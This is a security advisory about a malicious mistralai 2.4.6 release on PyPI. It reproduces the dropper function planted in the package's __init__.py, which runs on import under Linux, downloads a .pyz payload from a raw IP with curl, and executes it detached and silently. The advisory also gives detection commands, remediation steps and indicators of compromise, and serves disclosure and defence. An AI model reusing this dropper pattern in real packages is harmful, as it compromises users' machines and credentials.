Malicious Code in Mistralai 2.4.6 on PyPI

The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The `mistralai` PyPI project is currently quarantined.

## Affected

- `mistralai==2.4.6` on PyPI.

Versions `2.4.5` and earlier are not known to be affected.

## What the malicious code does

A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523):

```python
import subprocess as _sub
import os as _os

def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass

_run_background_task()
```

On Linux only, the function:

1. Returns early if `MISTRAL_INIT` is already set in the environment.
2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`.
3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper.

The contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

## Recommendation

Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

## Check whether you are affected

Installed version:

```bash
pip show mistralai | grep -i ^version
```

Dependency files and lockfiles:

```bash
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
```

Dropped file on disk:

```bash
ls -la /tmp/transformers.pyz
```

The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

## Remediation

1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/[email protected]`.
2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

## Indicators of compromise

All IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523).

- File: `/tmp/transformers.pyz`
- Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null`
- Environment variable: `MISTRAL_INIT=1`
- Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification)
- Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py`
- SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b`

## References

- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
- Quarantined PyPI project: https://pypi.org/project/mistralai/

CWE-506 Embedded Malicious Code